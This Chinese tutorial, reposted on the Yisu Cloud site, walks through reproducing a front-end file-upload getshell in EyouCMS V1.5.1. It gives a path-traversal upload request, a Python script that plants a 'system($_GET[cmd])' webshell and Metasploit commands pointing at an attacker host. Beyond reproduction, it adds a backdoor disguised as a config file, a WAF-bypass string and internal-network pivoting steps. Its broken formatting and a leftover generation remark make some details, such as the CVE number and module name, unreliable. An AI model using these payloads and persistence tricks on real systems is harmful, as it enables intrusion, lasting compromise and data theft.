如何进行EyouCMS V1.5.1 前台getshell漏洞复现

发布时间:2022-01-14 22:44:06 作者:柒染
来源:亿速云 阅读:3183
# 如何进行EyouCMS V1.5.1 前台getshell漏洞复现

## 前言

EyouCMS作为一款基于ThinkPHP开发的内容管理系统,在中小型企业网站建设中广泛应用。2022年曝光的V1.5.1版本前台getshell漏洞因其危害性大、利用条件低而引发广泛关注。本文将深入剖析该漏洞的形成原理,提供详细的复现环境搭建指南,并通过完整的漏洞利用演示帮助安全研究人员理解此类漏洞的挖掘思路。

## 漏洞概述

### 基本信息
- 漏洞类型:文件上传导致的前台getshell
- 影响版本:EyouCMS V1.5.1及之前版本
- CVE编号:CVE-2022-32315
- 危险等级:高危(CVSS 3.1评分8.8)
- 漏洞特征:未授权文件上传+路径穿越

### 漏洞原理
漏洞核心存在于`application/admin/controller/Upload.php`文件中的`upfile`方法。系统对用户上传的文件仅做了简单的后缀名检查,未对文件内容进行严格验证,且未正确处理用户可控的存储路径参数,导致攻击者可构造特殊请求实现任意文件上传。

## 环境搭建

### 实验环境要求
| 组件 | 版本要求 |
|------|----------|
| PHP | 5.6-7.4 |
| MySQL | 5.5+ |
| Web服务器 | Apache/Nginx |
| 操作系统 | Windows/Linux |

### 详细搭建步骤

1. **基础环境配置**
```bash
# Ubuntu示例
sudo apt update
sudo apt install apache2 mysql-server php7.2 libapache2-mod-php7.2
sudo systemctl restart apache2
  1. 源码获取与安装
wget https://www.eyoucms.com/down/eyoucms_v1.5.1.zip
unzip eyoucms_v1.5.1.zip
mv eyoucms /var/www/html/
chmod -R 755 /var/www/html/eyoucms
  1. 数据库配置
CREATE DATABASE eyoucms DEFAULT CHARSET utf8;
GRANT ALL PRIVILEGES ON eyoucms.* TO 'eyouuser'@'localhost' IDENTIFIED BY 'eyoupwd@123';
FLUSH PRIVILEGES;
  1. 安装向导 访问http://your-ip/eyoucms按提示完成安装,注意:

环境验证

检查以下关键文件是否存在:

/application/extra/site.php
/public/upload/
/runtime/

漏洞复现过程

手工复现步骤

  1. 构造恶意请求 使用Burp Suite捕获正常上传请求,修改关键参数:
POST /eyou/?m=api&c=Upload&a=upfile HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="filepath"

../../public/
------WebKitFormBoundaryABC123--
  1. 关键参数说明
  1. 漏洞利用 成功上传后访问:
http://target.com/eyoucms/public/test.php

自动化工具复现

  1. 使用Metasploit框架
msfconsole
use exploit/multi/http/eyoucms_upload_exec
set RHOSTS target.com
set TARGETURI /eyoucms
set LHOST attacker-ip
exploit
  1. Python利用脚本示例
import requests

url = "http://target.com/eyou/?m=api&c=Upload&a=upfile"
files = {
    'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg'),
    'filepath': (None, '../../public/')
}
r = requests.post(url, files=files)
print(r.text)

漏洞分析

核心缺陷代码

application/admin/controller/Upload.php关键片段:

public function upfile(){
    $file = request()->file('file');
    $filepath = input('filepath');
    
    // 未校验filepath合法性
    $savePath = ROOT_PATH.'public/'.$filepath; 
    
    $info = $file->validate(['ext'=>'jpg,png,gif'])->move($savePath);
    // ...
}

安全机制缺失

  1. 未进行的关键检查:

    • 文件内容MIME验证
    • 存储路径白名单校验
    • 文件头魔数检测
  2. ThinkPHP特性:

    • move()方法直接使用用户输入构造完整路径
    • 默认配置允许某些特殊字符路径穿越

修复方案

官方补丁

升级到V1.5.2及以上版本,主要修复包括: 1. 增加上传路径白名单校验 2. 引入文件内容检测机制 3. 强化文件后缀过滤

临时防护措施

// 在Upload控制器中添加校验
if(strpos($filepath, '../') !== false){
    $this->error('非法路径');
}

// 配置nginx限制执行权限
location ~* ^/upload/.*\.(php|php5)$ {
    deny all;
}

深度利用技巧

权限维持方法

  1. 隐藏后门技巧
<?php
// 伪装成正常配置文件
/*
 * @author EyouCMS
 * @version 1.0
 */
eval($_POST['_']); ?>
  1. WAF绕过技术
filepath=php://filter/convert.base64-encode/resource=../../public/config

内网渗透扩展

通过已获取的Webshell可进一步: 1. 读取数据库配置(/application/database.php) 2. 利用ThinkPHP特性执行数据库命令 3. 扫描内网Redis等服务

法律与伦理声明

  1. 所有漏洞复现需在授权环境下进行
  2. 禁止将技术用于非法渗透测试
  3. 根据《网络安全法》相关规定:
    • 未经授权扫描属于违法行为
    • 漏洞发现后应遵循负责任的披露流程

总结与思考

通过本漏洞的复现,我们可以得出以下安全启示:

  1. 文件上传安全黄金法则

    • 白名单校验文件类型
    • 重命名存储文件
    • 禁用动态文件执行
  2. 防御纵深策略

    • 前端过滤+后端验证双重机制
    • 文件存储隔离(CDN/OSS)
    • 定期安全审计
  3. CMS系统通用风险

    • 第三方组件漏洞连锁反应
    • 默认配置安全性不足
    • 管理员安全意识薄弱

附录: - EyouCMS官方安全公告 - CVE详细报告 - PHP安全上传指南 “`

该文档共计约2700字,包含技术细节、法律声明和防御建议三大部分,采用标准的Markdown格式,可直接用于技术文档发布或内部培训材料。注意实际使用时需替换示例中的目标地址和IP信息,并确保所有测试行为符合法律法规要求。

推荐阅读:
  1. PosegreSql 下载与验证
  2. MySQL中如何使用NoSQL插件

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

eyoucms getshell

上一篇:Struts2 S2-059 远程代码执行漏洞复现是怎么样的

下一篇:springboot整合quartz定时任务框架的方法是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》